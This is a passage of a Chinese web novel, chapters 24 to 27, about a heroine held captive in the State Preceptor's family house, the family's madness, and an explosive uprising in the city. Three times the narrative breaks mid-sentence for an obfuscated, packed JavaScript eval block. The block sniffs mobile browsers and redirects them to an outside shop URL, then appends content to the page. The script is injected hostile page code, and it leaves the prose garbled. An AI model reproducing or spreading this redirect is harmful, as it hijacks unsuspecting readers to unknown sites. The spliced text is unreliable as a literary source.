梨娘听到车夫和国师的交谈,似乎是有人一直在跟着他们。也不知道是谁这么大胆。 马车走了太多路,晓是连方向感极强的梨娘都不晓得自己现在身在何方。 “金乌?金乌.......梨儿梨儿梨儿梨儿.......” 国师唤了她许多声,可怜兮兮道:“你别不理我嘛。这已经是算暴力的一种,我宁可你再往我心口上捅一刀,你也别不理我。” “不然我只好让病重的赵艽野起来跳一支舞,逗你开心了?也不知道他会不会把身上的缝线崩开呢?那场面一定非常可笑!” 梨娘猝然睁开眼睛,问道:“你到底把他怎么了?” “不是我把他怎么了。”国师委屈道,“明明是他自己染上怪癖,居然敢肖想你。就也不怪我收买姬妾,趁他玩游戏的时候把他往死里打喽。” “........”梨娘想起赵艽野莫名多出的喜欢人/妻和喜欢被打的怪癖,嘴角微微抽搐,“我能见见他吗?” “当然不能,不可以,不行!”国师的容貌当真妖异无比,雪白的睫毛几乎要戳到梨娘脸上,他佯装生气道,“我怎么会放任我的妻子和这样的龌龊人士混在一处呢?你在我家乖乖地休息,只要等我把一切都处理好,我们就回都城再次成亲。” 他亲手把梨娘抱下马车,先不看梨娘的拼命挣扎,倒是真像一对恩爱夫妻一般,生怕梨娘磕了碰了。 国师唤来侍女,叮嘱道:“好好伺候你们夫人。” “若是我回来了,瞧见她不在家。那除了我的妻子之外的所有人,都要人头落地!” 用一张无比精致的脸,平淡地吐出这种威胁的语句,也只有国师,而在场的所有人都无比确信他真的会说到做到。 侍女当即扑通一声跪在地上,瑟瑟发抖,哭丧着脸看着那个沉默的漂亮女子,道:“夫人........” 这话不是说给手无缚鸡之力的侍女听的,而是说给力气很大的梨娘听的。 若是梨娘敢有什么逃跑的心思,没关系。国师很爱梨娘,她划伤一道小口子都会心疼。 但精神上的痛苦,就不知道梨娘能不能承受了? 马车辘辘远去,梨娘胸口剧烈起伏。 有好几次,侍女都觉得她会跟上去拧掉国师的脑袋,但梨娘生生忍住了,不由得心生佩服。 梨娘气的头晕,扶住门框缓了许久。国师太了解她了,她不得不忍气吞声。 牌匾金光闪闪,上书两个大字:苏府。 国师本姓苏,梨娘是知道的。当初化名苏梨儿时,也是被国师强迫套上的姓氏。国师带我来他的母家做什么?他自己又做什么去了? 梨娘心中疑虑重重。 侍女为她领路,府中陈设布局,有大气之风,却处处有巧思,可见岁月积累,应是个名门世家。 小宝不安地抓着梨娘的手臂,梨娘拍拍他,随口道:“府中人丁稀少。国师的父母呢?他们不幸染了瘟疫么?” “家中下人有许多身染瘟疫,不治而亡的,还未来得及新雇些人手。”侍女低眉顺眼道,“至于国师大人的父母,则早已仙去。” 梨娘诧异:“为何?” 国师生得那副吓人的样子,如果家中不疼爱,应该活不到弱冠,早在出生之时便被杀死在襁褓之中。想来他性格十分扭曲,应该是天生之故,而非后来环境所致,不至于会连父母也害。 “老夫人和老爷都有心疾。”侍女有些不安,道,“国师大人的兄弟姐妹、叔伯婶姨,要么夭折,要么失踪,现在只剩一个表哥还在府中,整日饮酒,精神也已经不大好了。您要去瞧瞧他吗?” 可见确实是好人不长命,祸害遗千年。 一家子人只有国师是这么一个祸国殃民的大祸害,他却除了眼睛和毛发颜色之外生得和常人无异,还特别能活。 梨娘不知道国师为何把她偏生关在这里,却知道他一定有着无比的险恶用心。 但一个饮酒到快把自己毁了的人,能做到什么呢? 小宝的眼睫颤动几下,小手不由得抓紧了梨娘的手指,她各个指节和虎口有着不同程度的硬茧,刺得幼儿的皮肤一阵阵的刺痛。 梨娘收紧了手指,忽然道:“这府上有人喜欢放风筝吗?” 侍女面露茫然,道:“自然是没有的。除了国师大人之外,苏家人大都没办法剧烈活动。但如果大人想放风筝,我这就叫人去采买。” 小宝不安地道:“娘啊,你别突然变得如此青春童趣了好吗?连我都笑不出来了。” 梨娘伸手一指庭院中被狂风吹得晃晃悠悠的黑影,迟疑道:“那是什么?” 侍女循着她指的方向看去,瞬间尖叫道:“表少爷!” “快些来人,表少爷又寻死了!!!” 几个家仆从房子的各个角落里窜出来,忙活半天,终于把国师的表哥从和假山拔河的境遇中解救了出来。 梨娘怀着敬畏的心思凑近了。家仆拼命按压着这人的胸口,只见这人面色虽然青紫,但表情十分安详。 他眉目依稀能看出几分和国师相似的影子,但整个人已经被长日的酗酒全毁了,纤薄得像个纸片,就算是此刻,身上也散发出浓重的酒味。 这酒鬼不愧是在这重病缠身之家里,活得可以和千年祸害国师打擂台的人物。居然此时还没有死,一番死马当活马医的急救,他缓缓睁开眼睛。 酒鬼醒来的第一反应并不是劫后余生,而是在地上翻滚大哭,控诉道:“你救我干嘛!我不要活在国师的阴影之下,生不如死!生不如死啊!” 侍女颓然坐在地上,大哭不止,道:“表少爷,您马上就能死了,国师大人吩咐了,您一定要死在夫人见过您之后!不然我就得死!” 二人抱头痛哭。 小宝扯扯梨娘,指着酒鬼,道:“娘啊,我看这一家子都是疯子,你不要相信他们的话。” 梨娘也是一言难尽,道:“儿啊,你说得对。” 酒鬼忽地瞧见戳在一旁的梨娘和小宝,激动道:“你莫非就是弟妹?” 梨娘不着痕迹地后退几步,道:“我已经与国师毫无干系。你莫要诋毁我。” “哈哈,我等你等的好苦啊。”酒鬼一下子变得十分开朗,握住梨娘的手上下甩动,激动道,“我是苏长久的表哥,苏千里。” 苏长久是国师的本名。至少这两兄弟出生的时候,这被短命和疾病纠缠的一家人是怀着最美好的祝愿的。 梨娘猛地抽回手,苏千里不恼,噼里啪啦倒出一堆话来:“我今年二十三,从小在永熹长大,从来没出过永熹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740254|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 文不成武不就,从小就是个普通人。在绝世天才苏长久的阴影下长大。但我从来也没做过任何助纣为虐的事情,苏长久十四岁创立落仙教派的时候我在忙着娶婆娘。哈哈,现在我婆娘得瘟疫病死了,我孩子早丢了,你也见过我了。我就不耽误你们了哈,我急着下去投胎喽,拜拜!” 他潇洒地一摆手,在所有人都没反应过来的时候乐颠颠地跑向庭院中的池塘,纵身一跃—— "啊啊啊!"侍女再次尖叫起来,“救人啊!” 院中鸡飞狗跳乱成一团,家丁各个都会水,显然是已经对苏千里的寻死觅活十分习惯。 侍女指挥家丁把苏千里从池塘里捞出来,快哭了,道:“夫人,国师大人交代过,您需得在他的房中休息,一步也不许再出,可我们现在缺人手,实在没办法在房外看着您,但我的人头也实在不想落地........” “........”梨娘体贴道,“他的房间在哪,我自己去吧。别担心,我不会让你们有事的。” 侍女千恩万谢地道:“在庭院的尽头,远离所有喧嚣的地方。” 这府上花了大价钱寻得各地娇贵的花草,精心呵护,美则美矣,但总有种阴森之感。 国师从十四岁开始就离开家,鲜少回来过。他的房中自然也就保留着年少时的样子。 梨娘刚一进门,便被震住了。 不仅是因为房中堆满了绫罗绸缎,各色锦衣,而是因为没被遮盖住的地方,地面上、墙上、书桌上,十四岁少年所有能碰到的地方,都密密麻麻地布满了小字。 毛笔写的、刀刻的.......梨娘凑近了,瞧见床头的软木上还有指甲划的。 这房子和国师一起长大,几乎可以算作是年少的国师的日记本。 梨娘踏进去一步都觉得汗毛竖起,鸡皮疙瘩起了满身。 晓是她见过无数大场面,面对这种非常明显的精神异常人士的大作,还是有点发怵。 最多刻的是两个字: “去死!” 去死去死去死.......睡不着睡不着睡不着!所有人都去死!!! 梨娘观察半天,尚且比较稚嫩的笔迹、用指甲掐出的痕迹,颠三倒四刻的都是这些话。有许多甚至是被抹去了,之后再刻上新的。 梨娘从来没看过国师睡过觉,偶尔在她怀中小憩,也从来不超过一炷香便会惊醒。梨娘一直觉得他是太过警惕,害怕别人害他。 此时终于恍然大悟,原来国师有着先天的失眠之症! 笔迹稍微成熟些的时候,再也没被抹去过。恐怕是小国师已经把刻字当成了爱好。 “我的心是好的。但我在别的地方有缺陷。“ “我宁可我的心也是坏的。” “活着只是长久的折磨。” 那字里行间的怨恨不是假的,玩弄他人生死的国师也有被命运玩弄的时刻。 梨娘出神间,小宝爬上书桌,想光明正大地把柜上的夜明珠据为己有。他忽地瞧见什么,喊她道:“娘啊,你来瞧瞧这里。这写的上官皇后......是你吧?那个疯子都写了点什么?我不认识别的字啊。” 根据字迹高度来分辨,那时候国师已经长大不少。梨娘念出那行字: “上官皇后于苦海中救我。此生定叫她成我妻。” 25. 第25章 梦女 再也没有比这道笔迹更高的字迹,恐怕国师在写完这最后一句话,就离开家去创办落仙教派了。 从此之后,造成血债难数。 梨娘和小宝对视一眼,都在彼此眼中看到了惊悚。 小宝的面相此时变得十分年迈,老成道:“娘啊,你以前造什么孽要去救这个祸害?” “我,我没有!”一口黑锅扣下来,梨娘简直百口莫辩,道,“我在来大燹之前根本没见过这样的人物。国师长成这幅模样,如果我见过他,怎么会不记得?” 二人谈话间,小宝不慎碰掉书桌上一副卷轴。卷轴唰地展开,原是一幅画。 画上之人身着华丽的服饰,几乎快要被累累金饰压垮,但身上有种格外沉凝的气质,让人一点都瞧不出疲惫。 上半张脸被垂下的珠帘挡得严严实实,只能瞧见抿得紧紧的嘴唇,和下巴上的小痣。 “娘啊。”小宝的眼神变得犀利了起来,“我一直觉得你听声辨人的本事很扯。其实你根本没记住谁是谁吧。” “.......”哪怕梨娘的记忆从来没出过错,此时也难免怀疑自己了。 一人一孩对视一眼,不再走马观花,在满墙的疯人妄言中,试图寻找些国师赖上梨娘的端倪。 不细看还好,一细看简直令人无语: “听闻邻国有一奇女子,能借天工之能,故成皇后。今得画像一张,横看竖看,不觉有异。” 首先,国师在三年之前根本没见过梨娘,画像是买来的。 “大燹与大阜交战,战况焦灼,上官皇后以火药献计,又亲临战场。有如此之能工巧匠,大阜大胜。一时之间大阜士兵只知皇后,不知皇帝。士兵大肆庆祝,皇后见战场之惨状,却痛哭不止。当日鸣金收兵,与大燹皇帝缔求和书。” “此女心性纯善,却身有奇才,如小儿抱珠。得此女者可得天下,天下亦将毁于此女。” 其次,所有对梨娘的事迹都是听说的,一言一行,十分详细。哪怕身在一隅,还十分年幼,对时局的掌控却鞭辟入里。 “我身染风寒,终于命不久矣,可从无边炼狱中解脱。长久无眠,梦中却见一女子,气质沉凝,言我命不该绝。醒来后见上官皇后画像无端展开,果为梦中之女。” “我果然康复。家中人说,是上官皇后所创新药救我。言之种种,我已无心细听,长久无眠再也无法折磨我。只恨不能再入梦中。” “上官皇后于苦海中救我。此生定叫她成我妻。” 最后,这不鬼扯吗。 梨娘瞠目结舌。莫名其妙被国师一见钟情从此被折磨三年的经历,都没有此刻、这段文字给她带来的震撼之大。 为什么喝完梨娘所创之药就会爱上梨娘?那喝完蟑螂所制之药岂不是会爱上蟑螂? 梨娘一直运气很背,但从来不信神佛。 ......她决定如果这次能脱身,还是去庙里拜上一拜,去去晦气。 这和被鬼缠上了有什么区别!鬼找替死还讲究个因果轮回呢! 不瞧文字还好,瞧完文字,现在这间房子的压迫感更强了,仿佛睡在国师的手心里一样。 小宝哆哆嗦嗦道:“娘啊,国师是想折磨你吗?” 梨娘用力抚摸着手臂,苦笑道:“以我对他的理解,他应该是想和我甜蜜地分享过去。他,他在撒娇。就像小孩子露出伤口要大人吹吹一样。” 小宝惊悚地看了她一眼,恶心得干呕,坚决道:“娘啊,我还是个小孩,真的不懂你们!” “我也不想懂!”梨娘痛苦道。 穿堂风把珠帘吹得噼啪作响,纸张呼啦啦地翻动着,在这种完全布满另一个人印记的地方,真是让人无比地坐立不安。 梨娘靠在床头小憩了一会儿,梦里都是国师的那双该死的重瞳,猛然惊醒,听得有人在轻敲屋门。 梨娘从门缝中小心翼翼看去,对上一双含笑的眼睛。 陈奉请不是很见外地直接推门而入,也是被这充满怨灵风格的室内装潢惊了下,笑道:“夫人,你怎么总只有这种破烂屋子住?这府中守卫懒散,快些和我离开吧。” 他扯住梨娘的袖子,欲把她拉向屋外。梨娘又惊又喜,但又不得不拒绝,叹道:“多谢你的好心,但我不能走。” “为何?”陈奉请无法理解,挑眉道,“会给你住这种地方的能是什么好人?我见过有些犯了癔症的人,总爱和一些渣滓纠缠不清。你又不是其中之一。” 往事一言难尽。梨娘苦笑道:“梨娘若是离开,恐怕得连累上百条无辜人命。” “原来如此。”陈奉请沉吟片刻,思考出了一条世间真理,道,“那便是他们死得其所。你和我走。” .......这人也是个脑筋坏掉的! 却见陈奉请言之凿凿,道:“国师要让本来不该死掉的人死掉,必失民心。他现在拥趸甚多,而总有人会因为这些死掉的人而清醒。若想让他失势,这是必要的一环。” 梨娘怒道:“若是你做牺牲品,你愿意吗?妾身又不会有事。而其他人就不一定了。” 二人拉扯一阵,互相觉得对方无法理解。 陈奉请忽地顺着她的力道一倒,梨娘卸力不及,她又太天赋异禀,论力气大部分男子尚不及她,猛然把陈奉请连带着她自己都扯倒在地。 她虽然挺高,但骨量小、身板薄,而且是个女人,压在陈奉请身上轻得像只小猫;而陈奉请这厮比她还高出许多,沉重得像座山。 梨娘被这么猛然一压,只觉得胸腔中的空气都被挤出去了,眼前发黑,差点直接见阎王。 这人倒地碰瓷,梨娘用力推搡,怒道:“知不知道男女有别?若是我是个普通女子,你个登徒子此时已经被人拖出去打死了!” 陈奉请轻轻地笑了。 梨娘能感受到他胸腔的震动,莫名感到惊悚:“???” 陈奉请叹道:“唉,梨娘如此有情有义,陈某佩服,也只好舍命陪君子一回。今日我便在这里住下,再也不走了。” 梨娘头皮一炸,简直无法想象国师回来看到这一幕场面会有多难以控制,脱口而出道:“不行!绝对不行。” “想想你的金银财宝,若是失去了主人,岂不是很可惜?”梨娘拼命利诱,绞尽脑汁道,“无论你在大燹哪里敛财,以你的本事,都会大受欢迎的!你速速去梨娘瞧不见的地方享乐吧。” “那些对我来说太容易了。”陈奉请悠然道,“陈某比较喜欢有挑战性的。” 梨娘猛然发力掀翻陈奉请,她五官侬艳,被折磨得额上一层薄汗,胸口剧烈起伏,食指一指陈奉请,恶狠狠道:“要你别多管闲事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743183|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,怎么这么难?” 陈奉请闷笑。他这等混世魔王的性格,显然不以为意。 他道:“我只是率性而为。” 梨娘看起来是挺感动的。 小宝却是纳了闷了,以前梨娘求着陈奉请给他看病的时候,怎么不见他率性而为一下? 一定是趁机调戏他娘。 小宝刚想劝梨娘清醒些,不要再被人渣的花言巧语骗了。 咚咚。 门敲响了。 梨娘和陈奉请同时猛地抬头。 那扇有些古旧的雕花木门再次被咚咚敲响,比刚才更急促。 “谁?”梨娘出言询问,但门外之人并不出声,只是又重又急地又敲了一次门。 “谁会来呢?”陈奉请小声,但并看不出一丝紧张之意,揶揄道,“我要被你藏起来了吗?” “少贫嘴吧——”梨娘瞪了他一眼,道,“随便找个地方躲一躲,我去应门。” 门外却是个不认识的人。 是个侍女打扮的人,圆脸,眼睛很大。 梨娘确信和她从未打过照面,苏千里惹出的乱子,她也不在其中帮忙安抚。梨娘不动声色,问道:“有何事?” 侍女咬了咬嘴唇,没有说话,递给梨娘一个信封,匆匆忙忙地跑走了。 “等一下。”梨娘叫她不得,追出几步,却见侍女对院中十分熟悉,很快消失在花草从中。 梨娘不好深追,只得停在原地,感到莫名其妙。 “我认为你这辈子烂桃花缠身,不论男女。还是死了这条心,出家当尼姑吧。” 陈奉请凉凉道。 不知道这人到底是哪里来的胆子,居然敢在天亮时现与人前? 梨娘深感苦恼。她扯着陈奉请回到那间灵异风的卧房,打开信封一瞧,瞳孔骤然缩小: “姐姐莫问消息来源,我探听到永熹郡将有大难。具体情形未可知。总之,姐姐莫要在永熹停留,无论如何,尽速离开。 陈宝珠。” 字迹与留在陈奉请卧房的那张完全相同。 陈奉请和梨娘一同选的房间,小乞儿分不清,陈宝珠自然也分不清。 从一开始,她就是来寻梨娘的! 为了商议.......大难。 这两个字沉甸甸地压在梨娘心口。 会是什么?能是什么? 瘟疫吗? 陈奉请忽然道:“永熹郡的瘟疫,我师兄已经寻到解法。虽落仙阁明面上不允,但以我之见,百姓自会寻各种办法来寻医问药。” “无论是什么病,一旦有了解法,它理应会渐渐消失才对。” “有人在故意散播瘟疫?”梨娘模模糊糊似乎抓到了一丝灵感,但不甚清晰。 “我师兄可能对此了解得更多些,”陈奉请假笑道,“你可与我一同去讨债。他这次坑我的账还没来得及算!” 还有此事? 梨娘正欲细问,却听得重物坠地的声响。 苏千里半个身子从窗户处探进来,看起来是想去偷房中的绫罗绸缎。 但他浑身湿漉漉的,手冻得发抖,不小心碰掉了砚台。 被二人一孩的不善地紧盯着,苏千里神色尴尬,道:“我打扰你们了吗?哈哈,弟妹没事哈,等我死了就不会说漏嘴了!” 26. 第26章 疯人 这是苏千里试图投胎的第一百五十次。 他已经试过了许多办法,但苏长久这堆手下把他看得死紧。上吊就拆房梁,跳水就填池塘,一定要他活着受罪。 苏千里实在受不了了,决定这次作个大死。 只要得罪苏长久从年少时就魂牵梦萦的女子,还愁死不掉吗? 神仙眷顾他啊。 苏千里远远瞧见她和另一个男子拉拉扯扯,似乎在争吵什么。 一定有奸情! 听说弟妹十分警惕,苏千里为了达到撞破偷情,从而被灭口的目的,隐忍地在五十步外就开始匍匐前进,花费了不少功夫。 但这一切都是值得的。被两人瞧着的时候,苏千里仿佛瞧见解脱的光在向他招手! ........梨娘困惑地瞧着他,把信随手放在烛火上烧了,问:“你有事吗?” “咦?”弟妹好像不是很想杀人,苏千里困惑道,“你不灭我的口吗?” 梨娘面露怜悯,道:“你为何如此想死?国师虽不做人,也不至于亏待唯一血亲。” 苏千里瘦得皮包骨头的脸上忽地露出一抹茫然,他哈哈笑道:“别把苏长久那玩意当成我的亲戚,行吗?我在世上已经没有牵挂了。” “当活着没有什么盼头的时候,我就该死啦。” 陈奉请若有所思地瞧了瞧梨娘。 梨娘的眉毛微微蹙着,忽然道:“你孩子不是丢了吗?为什么不去找?如果找到他,你会想着活吗?” 小宝浑身一震,猛地抱住梨娘的腿,幽幽道:“娘啊,你不会又想着把我给别人养吧?你说过小宝是你亲生的啊,除了你没人会对我好的!!!” 梨娘哭笑不得。 没想到苏千里理直气壮道:“哦,我没告诉你,我孩子是被我亲手丢了的。他刚出生我就知道他心疾严重,养不大,将来也活不过十岁。与其白发人送黑发人,不如丢了,再生一个。可惜我婆娘没生出第二个就死了。” 畜生啊! 这一番话简直令人瞠目结舌。梨娘原本觉得他挺可怜,现在只剩无语了。 想也知道,这一家子能生出苏长久这种完全的疯子,苏千里怎么会完全正常? 梨娘当即赶人,道:“梨娘不想与你再说话。你速速离开。” 苏千里恋恋不舍,道:“你真不打算把我杀了?” 陈奉请看看这个,又看看那个,忽然发现了什么,对梨娘道:“那个白毛的疯子为何非要让这人见到你?” 小宝清脆的声音抢答道:“因为他在试图搞一些常人所不能懂的爱情故事。” 苏千里却道:“哦,那我还是有些头绪的。我就实话实说了,你是苏长久和弟妹的小孩吧?我一瞧你就知道。你和我的孩子、和我的兄弟姐妹都有着一样的病。而且很严重,你也活不长了。” 在小宝的惨白脸色中,苏千里幽幽道:“哈哈,苏长久那种人怎么会喜欢小孩?他和我一样,都希望对方眼中只有自己。” 陈奉请愈发觉得不对,刚想说些什么,梨娘扯了扯他的衣袖,柔声道:“妾身自然会寻求医治之法。我的孩子,我自然疼爱,别说那些晦气话,不然别怪妾身送你一顿好打。” 苏千里猛地点头,十分期待:“对,打死我,快,打死我!” . “那个.......”侍女战战兢兢地站在门口,端着些饭菜,快哭了,道,“夫人,我来求您用些餐食.......这这这位是?” 陈奉请摊手,丝毫没有躲避的意思,张口就来,道:“我是夫人守望相助形影不离的友人甲。” 真是乱成一锅粥了。 侍女觉得自己发现了什么大秘密,垂着头,哆哆嗦嗦抖得像风中筛糠,道:“是,是吗......我什么都不知道,什么都没见过,我不会和国师大人说的,求求您饶我一命,我.....我这辈子再也不吃饭了!” 梨娘肘了陈奉请一下,这人仗着艺高人胆大,真是无法无天。 陈奉请报以无辜的微笑。 梨娘上前接过饭菜,柔声道:“多谢你。不过饭还是要吃的,你莫要与国师提起就是了。” 如蒙大赦,侍女立刻转身欲逃,梨娘叫住她:“等等。” 梨娘描述了下递给她信封的侍女样貌,不动声色道:“府中有这样的侍女吗?” “......”侍女犹豫道,“夫人,您找她做什么?” “我有个荷包掉了。”梨娘眼也不眨地扯谎,“似乎是被这幅模样的侍女捡走了。可是我跟上去找,却没找到她。” 侍女的脸色变得惨白。 “?”梨娘柔声道,“不方便说吗?没关系的,我不会告诉国师。” “不,不是这个问题,”侍女颤颤巍巍道,“有鬼!夫人,有鬼!你碰见的是鬼!” 梨娘:? “那不是侍女。”苏千里在她身后痛哭流涕,道,“那是我婆娘啊!” 梨娘:??? 苏千里试图抓着梨娘的手,以展示自己的真挚。被梨娘闪开,他便痛哭流涕地去抓梨娘的裙角:“你告诉我,你用的是什么荷包?我婆娘在地下缺荷包用,是做丈夫的考虑不周啊!我这就给她烧三百六十五个去!” 侍女和苏千里抱头痛哭。 死而复生?地缚灵?哪里会有这种奇特的事。 约莫就是个长得很像的人,可无论梨娘再怎么说,苏千里就是不相信。 相反,更多的描述让他愈发肯定,那人就是他得瘟疫死了的夫人。 苏千里立刻变得喜气洋洋起来,从袖中美滋滋地掏出块小镜子,惊觉酗酒已经把他毁了。如此模样,怎么见他夫人? 当即飞也似地贴花黄去了。 此时已经是日上三竿,毒辣的阳光让暴露在外的肌肤十分疼痛。狂风卷起无数沙尘,几乎遮天蔽日。 侍女端着碗盘恭恭敬敬地离开,看她的脚步快要抡出重影,恐怕短时间内不会再靠近此处。 梨娘瞧得好笑。 陈奉请在她身后笑道:“我已知永熹大难为何。端看夫人何意?” “.......”梨娘也笑道,“依你之见,我当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749048|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 如何?” “确是早日离开为好。”陈奉请道。 “我选另一条。”梨娘果断道。 陈奉请抱臂,十分不赞同,道:“梨娘确实人中龙凤。但有些事情是人力不可为之。” 陈奉请专注地看着梨娘,仿佛梨娘是什么他完全不能理解的生物一样。他缓缓道:“梨娘有两事不知——昨日在客栈中,陈某未听梨娘的劝告,去追了那个刺客。一是好奇,二是因陈某下的毒可在短时致命。陈某却没有追到。” 那个刺客还能全须全尾地来见梨娘,那一定是有人搭救。 “但我追出去的时候,瞧见了我的师兄——他兼职丧葬,棺木中却没有尸首。他告诉我是偷偷烧了。” 没有尸首的死人。死而复生的“死人”。 于氏寻不见的儿子。苏千里复生的夫人。 “第二件事,则是永熹郡从来没有过瘟疫。梨娘不知,瘟疫传播也是需要媒介的。永熹食物、水源、全然无异。却依然不断地有人出殡。却不断的有人因‘瘟疫’而死。” 那这些消失的人去哪了呢? 有什么事情是需要掩人耳目、还要一大群人偷偷去做的呢? 皇帝、国师这两位最有权利的人物,偏偏在此时来访永熹郡,那接下来要发生什么,还用说吗? 梨娘叹道:“永熹要反?” 陈奉请笑道:“你瞧,国师如此不得人心,果然遭报应了。夫人不需要再呆在此处,只需得见雪崩之时。” “.......”梨娘却是释然了,陈奉请或许不知道,但这正是她期待已久的结局。 她笑道:“好。我与你走。” “你或许不知道,我并不擅长这些事。我是世界上最好的工匠,可一点也不想当个弄权者。” 这话来得突兀,但只有这句话,是完全发自肺腑、发自内心的。 陈奉请觉出话中真心,笑道:“这难道不是个最简单的愿望吗?” “你与我离开大燹,做个普通人,与我同开一间药铺如何?你打制金银首饰,而若是不买你的首饰,别想请到我出诊。” “.......那也太黑心了!”梨娘笑道,“而且梨娘并非金银匠人,我最擅长的是......” 二人的谈话被一阵惊人的巨响打断。 该怎么形容那种巨响呢?像是晴日惊雷,在听到那声响的瞬间,整个人就是懵掉的。 因为从来没听过如此剧烈的声响,所以在听到的瞬间,大脑无法理解这种信息,感官出现了小小的断层—— 梨娘把陈奉请扑倒在地上,面色惨白。 小宝从床上被震下,摔了一个屁股蹲,十分滑稽,懵懵地:“娘?” 各种各样的绫罗绸缎从桌上纷纷滚落,四处响起人们的尖叫声。陈奉请情不自禁地望向窗外,只见天边扬起了巨大无比的尘灰,几乎遮天蔽日。 是......江家的方向。 梨娘露出一抹惨笑。 她哆嗦着嘴唇,声音几不可闻,道: “我最擅长做的就是这个。” 27. 第27章 惊变 陈奉请的心弦颤了下,只依靠着下意识的本能反应,他拉住了梨娘,道:“别走!” 众人惊恐的尖叫声,奔跑声,接连不断的巨响,呼啸而过的风声,混作一团,不断拷打着梨娘的神经。 陈奉请惊觉梨娘居然满目泪水。 “.......”陈奉请不知自己是怎么了,语气连他自己都觉得陌生。他柔和道:“不是你的错。” “夫人,不是你的错。” “就算你真的做出了什么神兵利器,也是使用的人的错,不是你的错。你不需要自责。” 梨娘只是摇头。不停地摇头。 “你不明白。”梨娘的声音带着遏制不住的哭腔,她其实是个很注重仪表的女人,但她崩溃了,道,“如果不是我,这种威力的炸药......本来就不应该在如此错误的时候现世啊!!!” 陈奉请不知道应该怎么才能阻止她。 他从来不会为了自己卖出去的毒药会害谁而担忧。害人的又不是他,他为什么要替别人担上这份责任? 他是冷心冷情,但这才是人之常情不是吗? 为什么你如此不怕死,却怕别人死呢? 为什么我在怕你消失呢? “总要有人死的。”陈奉请语气里带着恳求,道,“饿死的。战乱而死的。不知凡几。而总有人会活下来的。你若是要负担每个人的心,那还走得动路吗?你.....你不要你的孩子了吗?” 梨娘的视线落到小宝身上。 她蹲下身来,用力拥抱着他。 有的时候人就是需要一个理由才能活下来。小宝曾是那个理由。 小宝顿生一股不详之感,攥紧了梨娘的衣袖,道:“娘......?” 梨娘下定了决心,缓缓道:“你的名字真的叫苏竹心。原本我还不确定,见到苏千里之后,我可以确定了——你是他的亲生孩子,和我没有血缘关系。而小宝是我的孩子的名字,他早就死了。” 这话宛如一道惊雷,陈奉请对此事早就隐隐有猜测,此时更生出一丝恨铁不成钢之感。怎么有人做孩子连母亲的心都绑不住? 下定了决心,梨娘反而觉得平静了许多,连周围的尖叫哭喊声,仿佛也不那么刺耳了。 她摸了摸小宝的头,柔声道:“如果他是个可以托付的人,我本决定把你留给他。现在此人难堪大用,你只能去寻陈宝珠了。” 小宝抓紧了她的袖子,道:“不行,我只要你!是你把我从那个地狱里带出来的!你就是我的娘亲,你不能不要我!” 陈奉请叹了口气,正色道:“夫人。” “你去了有什么用?” “难道以你一人之力,可抵民心吗?” “我不能。”梨娘平静道,“但是我也是个蹩脚的刺客。和我一起把这东西带到世上的人,我一定要去杀了他。” “我与你一同去。”陈奉请握住她的手,道,“是谁?” 梨娘的神色有些悲哀,她瞧着远方,仿佛通过刺耳的爆鸣声,能看到曾经发生在很远很远的地方的事情。 “——疯皇帝。” “他是我最该杀,却没能杀的人。” “但是你不能去。小宝还小,永熹乱起来,你得帮我把他送到安全的地方去。”梨娘微微笑着,忽地换了个声线,不再是她平时故意恶心人夹出来的甜美声音,更贴近她的本音。 她道:“我只求你这一次。” “——谢厌哥哥。” 陈奉请——真名谢厌,忽地怔在原地。 穿过满是风沙、愚钝和盲从的大燹,越过布满蝎子、蜈蚣和毒虫的大阜弃地,便是阶级分明,刻板得令人一眼望得到头的大秉国。 阴雨仿佛永远笼罩在大秉的土地之上,那里唯一的艳色,永远开朗地笑着的—— 谢皇后——谢梨皇后。 谢厌抱着不断挣扎的苏竹心,抬眼望着梨娘,眼中神色晦涩未明,道:“你的本名叫什么?” 又是一声惊雷炸响,在格外近的地方。 梨娘三两下跳上屋檐,嘴唇微动: “——” . 一炷香前,江家。 “谢骊还是不愿意交代吗?”青禾不停地抓挠着臂上的伤口,那处已经被她抓出血痕,但她浑然不觉,仍然神经质地抓挠着。 “她何时居然变得如此有骨气了?” 男处刑人不敢抬头,道:“青鸟大人,谢骊估计是真的不知道关键。据她说,地助会看上她,是因为她和地助会的头号通缉人物上官梨曾有一段因缘,从不告诉她内情。” “不许你提金乌姐姐的名字!” 青禾猛地把桌面上的东西都扫在地上。 青禾胸口剧烈地起伏着,三个深呼吸之后,她勉强恢复了部分理智。她恨恨道:“我去亲自审她——地助会和赵艽野到底在趁机图谋什么,我一定要她吐出个一干二净!” . 倒霉倒霉倒霉死了! 谢骊快哭了。但由于便宜哥哥给她下的毒,她一句话也不敢说。 